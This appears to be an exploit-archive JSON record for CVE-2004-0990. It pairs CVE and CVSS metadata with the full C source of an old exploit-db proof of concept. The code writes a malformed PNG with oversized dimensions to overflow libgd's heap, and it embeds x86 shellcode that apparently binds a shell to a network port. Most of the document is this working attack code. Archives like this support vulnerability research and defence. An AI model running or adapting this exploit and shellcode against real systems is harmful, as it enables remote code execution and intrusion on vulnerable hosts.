{"exploit":{"id":"EDB-600","name":"GD Graphics Library - Local Heap Overflow","description":"GD Graphics Library - Local Heap Overflow","cves":["CVE-2004-0990"],"author":"anonymous","published":"2004-10-26","platform":"linux","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/600","path":"exploits/linux/local/600.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-600.c","vulnerabilities":[{"id":"CVE-2004-0990","state":"PUBLISHED","title":null,"titleSource":null,"description":"Integer overflow in GD Graphics Library libgd 2.0.28 (libgd2), and possibly other versions, allows remote attackers to cause a denial of service and possibly execute arbitrary code via PNG image files with large image rows values that lead to a heap-based buffer overflow in the gdImageCreateFromPngCtx function, a different set of vulnerabilities than CVE-2004-0941.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-0990","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-0990"},"updatedAt":"2024-08-08T00:39:00.367Z","retrievedAt":"2026-11-26T12:07:28.367Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-600.png?v=2","url":"https://exploitbin.com/exploits/EDB-600","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-600/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-600/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#include <stdio.h>\n#include <sys/types.h>\n#include <netinet/in.h>\n#include <fcntl.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <zlib.h>\n\n#define OUTFILE \"britnay_spares_pr0n.png\"\n#define BS 0x1000\n#define ALIGN 0\n\n#define die(x) do{ perror((x)); exit(EXIT_FAILURE);}while(0)\n\n/*\n * a chunk looks like:\n * [ 4 byte len ]   - just the length of data\n * [ 4 byte id  ]   - identifies chunk data type\n * [ 0+ data    ]   -\n * [ 4 byte crc ]   - covers the id and data\n */\n\n/* identifies a file as a png */\n#define MAJIC_LEN sizeof(png_majic)\nu_char png_majic[] = { 0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a };\n\n/* png id fields */\n#define ID_LEN sizeof(png_ihdr_id)\nu_char png_ihdr_id[] = { 73, 72, 68, 82 };\nu_char png_idat_id[] = { 73, 68, 65, 84 };\nu_char png_iend_id[] = { 73, 69, 78, 68 };\n\n\n/*\n * the iHDR chunk.  image information.\n */\n#define IHDR_LEN sizeof(png_ihdr)\nstruct _png_ihdr {\n    uint32_t    len,\n                id,\n                width,\n                height;\n    uint8_t     bit_depth,\n                color_type,\n                compress_meth,\n                filter_meth,\n                interlace_meth;\n    uint32_t    crc;\n} __attribute__((packed));\ntypedef struct _png_ihdr png_ihdr;\n\n\n/*\n * the iDAT chunk. the compressed data of image.\n */\n#define IDAT_LEN sizeof(png_idat)\n#define IDAT_DATA_SZ 512\nstruct _png_idat {\n    uint32_t    len,\n                id;\n    u_char      data[IDAT_DATA_SZ];\n    uint32_t    crc;\n} __attribute__((packed));\ntypedef struct _png_idat png_idat;\n\n\n/*\n * the iEND chunk. contains no data.\n */\n#define IEND_LEN sizeof(png_iend)\nstruct _png_iend {\n    uint32_t    len,\n                id,\n                crc;\n} __attribute__((packed));\ntypedef struct _png_iend png_iend;\n\n\n/* call them shell code */\n#define SHELL_LEN strlen(sc)\nchar sc[] =\n    \"\\x31\\xc0\\x50\\x50\\x66\\xc7\\x44\\x24\\x02\\x1b\\x58\\xc6\\x04\\x24\\x02\\x89\\xe6\"\n    \"\\xb0\\x02\\xcd\\x80\\x85\\xc0\\x74\\x08\\x31\\xc0\\x31\\xdb\\xb0\\x01\\xcd\\x80\\x50\"\n    \"\\x6a\\x01\\x6a\\x02\\x89\\xe1\\x31\\xdb\\xb0\\x66\\xb3\\x01\\xcd\\x80\\x89\\xc5\\x6a\"\n    \"\\x10\\x56\\x50\\x89\\xe1\\xb0\\x66\\xb3\\x02\\xcd\\x80\\x6a\\x01\\x55\\x89\\xe1\\x31\"\n    \"\\xc0\\x31\\xdb\\xb0\\x66\\xb3\\x04\\xcd\\x80\\x31\\xc0\\x50\\x50\\x55\\x89\\xe1\\xb0\"\n    \"\\x66\\xb3\\x05\\xcd\\x80\\x89\\xc5\\x31\\xc0\\x89\\xeb\\x31\\xc9\\xb0\\x3f\\xcd\\x80\"\n    \"\\x41\\x80\\xf9\\x03\\x7c\\xf6\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\"\n    \"\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x99\\xb0\\x0b\\xcd\\x80\";\n\n\n\nint main(int argc, char **argv)\n{\n    int fd = 0, len = 0;\n    char    *filename = OUTFILE;\n    u_char  buf[BS] = { 0, };\n    u_long  retaddr = 0;\n    png_ihdr    ihdr;\n    png_idat    idat;\n    png_iend    iend;\n\n#if 0\n    if(argc < 2){\n        fprintf(stderr, \"Usage: %s < retaddr > [ outfile ]\\n\", argv[0]);\n        return EXIT_FAILURE;\n    }\n    if(argc > 2)\n        filename = argv[2];\n    sscanf(argv[1], \"%lx\", &retaddr);\n#endif\n\n#define PNG_USER_WIDTH_MAX 1000000L /* 0xf4240 */\n    /*\n     * setup png headers\n     */\n    size_t  a,b;\n    ihdr.len = htonl(0xd);\n    memcpy(&ihdr.id, png_ihdr_id, ID_LEN);\n    /*\n     * need to play with width and height, and also with color_type. depending\n     * on color_type value, rowbytes can be manipulated\n     */\n    a = ihdr.width = htonl(0x8000);\n    b = ihdr.height = htonl(0x10000);\n    ihdr.bit_depth = 16;\n    ihdr.color_type = 4;\n    ihdr.compress_meth = 0x0;\n    ihdr.filter_meth = 0x0;\n    ihdr.interlace_meth = 0x0;\n    ihdr.crc = htonl(crc32(0, (u_char *)&ihdr.id, 17));\n\n    iend.len = 0x0;\n    memcpy(&iend.id, png_iend_id, ID_LEN);\n    iend.crc = htonl(crc32(0, (u_char *)&iend.id, 4));\n\n    idat.len = htonl(IDAT_DATA_SZ);\n    memcpy(&idat.id, png_idat_id, ID_LEN);\n    memset(idat.data, 'A', IDAT_DATA_SZ);\n    idat.crc = htonl(crc32(0, (u_char *)&idat.id, IDAT_DATA_SZ+4));\n\n    /*\n     * create buffer:\n     * png id - png ihdr - png idat - png iend\n     */\n    memcpy(buf, png_majic, MAJIC_LEN);\n    len += MAJIC_LEN;\n    memcpy(buf+len, &ihdr, IHDR_LEN);\n    len += IHDR_LEN;\n    memcpy(buf+len, &idat, IDAT_LEN);\n    len += IDAT_LEN;\n    memcpy(buf+len, &iend, IEND_LEN);\n    len += IEND_LEN;\n\n    /* create the file */\n    if( (fd = open(filename, O_WRONLY|O_CREAT, 0666)) < 0)\n        die(\"open\");\n    if(write(fd, buf, len) != len)\n        die(\"write\");\n    close(fd);\n\n    return 0;\n}\n\n// milw0rm.com [2004-10-26]","sha256":"188d8d18e9b65c77211ef73213b8a6783e074d05f28dd0a42aa7a701aabe88b2","bytes":4328,"fetchedAt":"2026-11-26T12:07:26.618Z","encoding":"utf-8 (display only; download retains original bytes)"}